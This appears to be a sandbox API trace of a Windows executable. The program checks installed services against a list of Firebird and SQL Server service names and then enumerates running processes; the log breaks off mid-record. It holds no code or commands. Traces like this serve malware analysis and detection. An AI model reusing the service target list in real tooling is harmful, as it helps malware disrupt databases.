lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0074.785] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0074.785] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0074.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0074.785] lstrlenW (lpString="RpcSs") returned 5 [0074.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0074.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0074.785] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0074.785] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0074.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0074.785] lstrlenW (lpString="SamSs") returned 5 [0074.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0074.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0074.785] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0074.785] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0074.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0074.785] lstrlenW (lpString="Schedule") returned 8 [0074.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0074.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0074.785] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0074.785] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0074.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0074.785] lstrlenW (lpString="SecurityHealthService") returned 21 [0074.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0074.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0074.786] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0074.786] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0074.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0074.786] lstrlenW (lpString="SENS") returned 4 [0074.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0074.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0074.786] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0074.786] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0074.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0074.786] lstrlenW (lpString="ShellHWDetection") returned 16 [0074.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0074.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0074.786] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0074.786] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0074.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0074.786] lstrlenW (lpString="Spooler") returned 7 [0074.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0074.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0074.786] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0074.786] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0074.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0074.786] lstrlenW (lpString="SSDPSRV") returned 7 [0074.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0074.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0074.786] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0074.786] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0074.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0074.787] lstrlenW (lpString="StateRepository") returned 15 [0074.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0074.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0074.787] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0074.787] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0074.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0074.787] lstrlenW (lpString="SysMain") returned 7 [0074.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0074.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0074.787] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0074.787] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0074.787] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bc050 | out: hHeap=0x6a0000) returned 1 [0074.787] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2e8 [0075.334] Process32FirstW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0075.335] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0075.336] lstrlenW (lpString="System") returned 6 [0075.336] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0075.337] lstrlenW (lpString="smss.exe") returned 8 [0075.337] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0075.338] lstrlenW (lpString="csrss.exe") returned 9 [0075.339] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0075.340] lstrlenW (lpString="wininit.exe") returned 11 [0075.340] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0075.344] lstrlenW (lpString="csrss.exe") returned 9 [0075.344] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0075.345] lstrlenW (lpString="winlogon.exe") returned 12 [0075.345] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0075.346] lstrlenW (lpString="services.exe") returned 12 [0075.346] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0075.347] lstrlenW (lpString="lsass.exe") returned 9 [0075.348] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.349] lstrlenW (lpString="svchost.exe") returned 11 [0075.349] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0075.350] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0075.350] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0075.351] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0075.351] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.352] lstrlenW (lpString="svchost.exe") returned 11 [0075.353] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0075.353] lstrlenW (lpString="dwm.exe") returned 7 [0075.354] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.355] lstrlenW (lpString="svchost.exe") returned 11 [0075.355] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.356] lstrlenW (lpString="svchost.exe") returned 11 [0075.356] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.357] lstrlenW (lpString="svchost.exe") returned 11 [0075.357] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.358] lstrlenW (lpString="svchost.exe") returned 11 [0075.358] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.360] lstrlenW (lpString="svchost.exe") returned 11 [0075.360] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.361] lstrlenW (lpString="svchost.exe") returned 11 [0075.361] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.362] lstrlenW (lpString="svchost.exe") returned 11 [0075.362] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.363] lstrlenW (lpString="svchost.exe") returned 11 [0075.363] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.364] lstrlenW (lpString="svchost.exe") returned 11 [0075.364] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0075.365] lstrlenW (lpString="spoolsv.exe") returned 11 [0075.365] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.366] lstrlenW (lpString="svchost.exe") returned 11 [0075.367] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.368] lstrlenW (lpString="svchost.exe") returned 11 [0075.368] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0075.369] lstrlenW (lpString="audiodg.exe") returned 11 [0075.369] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0075.370] lstrlenW (lpString="sihost.exe") returned 10 [0075.370] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.371] lstrlenW (lpString="svchost.exe") returned 11 [0075.802] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0075.804] lstrlenW (lpString="taskhostw.exe") returned 13 [0075.804] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0075.805] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0075.805] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0075.806] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0075.806] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0075.807] lstrlenW (lpString="explorer.exe") returned 12 [0075.807] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0075.807] lstrlenW (lpString="Memory Compression") returned 18 [0075.808] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0075.808] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0075.808] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0075.809] lstrlenW (lpString="SearchUI.exe") returned 12 [0075.809] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0075.810] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0075.810] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0075.811] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0075.811] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0075.812] lstrlenW (lpString="taskhostw.exe") returned 13 [0075.812] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0075.813] lstrlenW (lpString="UsoClient.exe") returned 13 [0075.813] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0075.814] lstrlenW (lpString="taskhostw.exe") returned 13 [0075.814] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0075.814] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0075.815] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0075.815] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0075.815] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0075.816] lstrlenW (lpString="msoia.exe") returned 9 [0075.816] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0075.817] lstrlenW (lpString="msoia.exe") returned 9 [0075.817] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0075.818] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0075.818] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace.exe")) returned 1 [0075.819] lstrlenW (lpString="screensaver-fireplace.exe") returned 25 [0075.819] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xml-upper.exe")) returned 1 [0075.820] lstrlenW (lpString="xml-upper.exe") returned 13 [0075.820] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeat preston.exe")) returned 1 [0075.820] lstrlenW (lpString="defeat preston.exe") returned 18 [0075.821] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="surveillance.exe")) returned 1 [0075.821] lstrlenW (lpString="surveillance.exe") returned 16 [0075.821] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="meanwhile-legends.exe")) returned 1 [0075.822] lstrlenW (lpString="meanwhile-legends.exe") returned 21 [0075.822] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed.exe")) returned 1 [0075.823] lstrlenW (lpString="deemed.exe") returned 10 [0075.823] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scored-prices.exe")) returned 1 [0075.824] lstrlenW (lpString="scored-prices.exe") returned 17 [0075.824] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understood.exe")) returned 1 [0075.825] lstrlenW (lpString="understood.exe") returned 14 [0075.825] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lee.exe")) returned 1 [0075.826] lstrlenW (lpString="lee.exe") returned 7 [0075.826] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arrivedvictims.exe")) returned 1 [0075.827] lstrlenW (lpString="arrivedvictims.exe") returned 18 [0075.827] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, 